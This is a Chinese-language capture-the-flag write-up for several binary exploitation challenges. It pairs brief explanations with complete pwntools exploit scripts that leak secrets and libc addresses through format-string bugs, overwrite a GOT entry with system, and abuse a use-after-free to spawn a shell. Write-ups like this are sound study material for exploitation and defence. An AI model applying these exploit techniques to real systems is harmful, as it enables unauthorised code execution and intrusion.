migration

emmm, 这题的做法跟前面的一道题差不多, 都可以泄露libc地址,进行栈迁移, 然后执行system函数来getshell, 差不多的思路就不重复写了

crack

除了pie和改写重定位表以外的保护都开了

程序逻辑为从urandom文件中读取4个字节作为password, 由于urandom这个文件的内容是随机的, 所以password不可控, 但是后面有个格式化字符串漏洞,
并且参数在栈上, 那么可以利用”%10$s” 泄露出password, 之后就可以cat flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./crack"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./crack")
26
27 payload = p32(elf.symbols['password']) + "%10$s"
28 p.sendlineafter("What your name ? ", payload)
29
30 p.recv(11)
31 leak = u32(p.recv(4))
32 log.info("leak -> " + hex(leak))
33
34 p.sendlineafter("Your password :", str(leak))
35
36 p.interactive()
37
38 if __name__ == '__main__':
39 pwn()

cat flag:
image

craxme

开了NX和CANARY

又是一个格式化控制字符串漏洞的题目, 不过这次不是要我们泄露数据, 而是向内存中写入数据
一个为218
一个为0xfaceb00c(-87117812)
第一个好解决, 第二个需要分段写入, %hn往内存中写入两个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./craxme"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./craxme")
26
27 #payload = p32(elf.symbols['magic']) + "%{}c%7$n".format(218 - 4) flag
28 payload = p32(elf.symbols['magic']) + "%{}c%7$hn>>>>".format((0xfaceb00c & 0xffff)-4)
29 payload += p32(elf.symbols['magic']+2) + "%{}c%12$hn".format((0xfaceb00c >> 16) - 0xb00c - 4 - 4)
30 p.sendlineafter("Give me magic :", payload)
31
32 p.interactive()
33
34 if __name__ == '__main__':
35 pwn()

cat flag:
image

image

playfmt

= = 格式化字符串漏洞三连…

只开了NX

这题printf的参数不在栈上在bss段, 但是可以无限次利用这个漏洞, 所以思路还是有得, 不过比较麻烦, 覆写got表需要在一次printf调用中完成,这就使得需要很多准备工作

image

1.利用 序号1 处得两个方框内栈的地址之间的指向关系, 将地址0xff849628 的内容改成strncmp 的got表地址
2.再利用 序号2 处的方框内的的栈的地址之间的指向关系, 将地址0xff8496e4 的内容改成strncmp的got表地址+2
3.之后就是向strncmp_got内写入system的低两个字节, strncmp_got+2内写入system的高两个字节, 这样就可以成功覆盖strncmp的got表内容为system
4.最后就是输入buf为/bin/sh 就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./playfmt"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./playfmt")
26 libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
27
28 str_got = elf.got['strncmp']
29
30 p.recvline()
31 p.recvline()
32 p.recvline()
33
34 p.sendline("%10$p")
35 leak = int(p.recvline()[:-1], 16)
36
37 payload = "%{}c%10$hn\0".format(str_got & 0xffff)
38 p.send(payload.ljust(0xc8, '\x00'))
39
40 payload = "%{}c%6$hn>>\0".format((leak & 0xffff) + 2)
41 p.send(payload.ljust(0xc8, '\x00'))
42
43 payload = "%{}c%10$hn".format(str_got >> 16)
44 p.send(payload.ljust(0xc8, '\x00'))
45
46 payload = "%8$p"
47 p.send(payload.ljust(0xc8, '\x00'))
48
49 p.recvuntil("@>>")
50 p.recvuntil("@")
51 leak_libc = int(p.recv(10), 16)
52 log.info("leak_libc -> " + hex(leak_libc))
53
54 libc_base = leak_libc - libc.symbols['_IO_2_1_stdout_']
55 log.info("libc_base -> " + hex(libc_base))
56 system = libc_base + libc.symbols['system']
57
58 payload = ">>>%21$p"
59 p.send(payload.ljust(0xc8, '\x00'))
60
61 p.recvuntil(">>>")
62 leak_stack = int(p.recv(10), 16)
63 log.info("leak_stack -> " + hex(leak_stack))
64
# strncmp_got + 2
65 #0xe4 -> 57
66 payload = "%{}c%22$hn".format((leak_stack & 0xffff) + 2)
67 p.send(payload.ljust(0xc8, '\x00'))
68
69 payload = "%{}c%21$hn".format((str_got & 0xffff) + 2)
70 p.send(payload.ljust(0xc8, '\x00'))
71
72 payload = "%{}c%59$hn".format(str_got >> 16)
73 p.send(payload.ljust(0xc8, '\x00'))
74
75 payload = "%{}c%14$hn".format(system & 0xffff)
76 payload += "%{}c%57$hn".format((system >> 16) - (system & 0xffff))
77 p.send(payload.ljust(0xc8, '\x00'))
78
79 payload = '/bin/sh\0'
80 p.send(payload.ljust(0xc8, '\x00'))
81
82 p.interactive()
83
84 if __name__ == '__main__':
85 pwn()

getshell
image

hacknote

开了NX和CANARY

是个堆类型的题目, 在del_note中存在UAF漏洞, 限制的chunk的个数最多为5, 第一时间想到两种利用方式, 1.控制程序中的print_note函数中的函数指针
2.进行常规的fastbin attack, 不过限制了chunk的大小, 而且感觉第一种更方便, 所以就用第一种了

利用思路:
在print_note中调用的函数指针, 只要控制了函数指针指向system函数就可以达到getshell的目的, 具体步骤

1.创建一个大小大于fastbin大小的chunk, 随后free掉, 在分配一个大小不大于这个chunk的chunk, 随后利用print_note函数泄露libc地址
2.这个程序的chunk结构
chunk 的 data区
data -> &print_note_content
data+4 -> 输入的数据
data+… -> 输入的数据或0

image

由于箭头指向的malloc是程序中分配的,不可控, 所以需要利用UAF漏洞重用这段chunk来让data -> system

3.释放两个chunk, 在malloc(8)输入数据为p32(system) + “||sh\0” 即可达成目的

由于题目也准备好了后门, 直接让data-> &magic也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./hacknote"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 def add(size, content):
26 p.sendlineafter("Your choice :", str(1))
27 p.sendlineafter("Note size :", str(size))
28 p.sendafter("Content :", content)
29
30 def free(index):
31 p.sendlineafter("Your choice :", str(2))
32 p.sendafter("Index :", str(index))
33
34 def printf(index):
35 p.sendafter("Your choice :", str(3))
36 p.sendafter("Index :", str(index))
37
38 add(0x100, 'a') #0
39 add(0x20, 'b') #1
40 add(0x20, 'c') #2
41 free(0)
42 add(0x100, '>>>>') #3 -> 0
43 printf(3)
44
45 p.recvuntil(">>>>")
46 leak = u32(p.recvline()[:-1])
47 libc_base = leak - (0xf7f5f7b0 - 0xf7dad000)
48 log.info("leak -> " + hex(libc_base))
49
50 libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
51 system = libc_base + libc.symbols['system']
52
53 free(1)
54 free(2)
55 raw_input()
56 add(8, p32(system) + "||sh\0") #4
57 printf(1)
58
59
60 p.interactive()
61
62 if __name__ == '__main__':
63 pwn()

getshell
image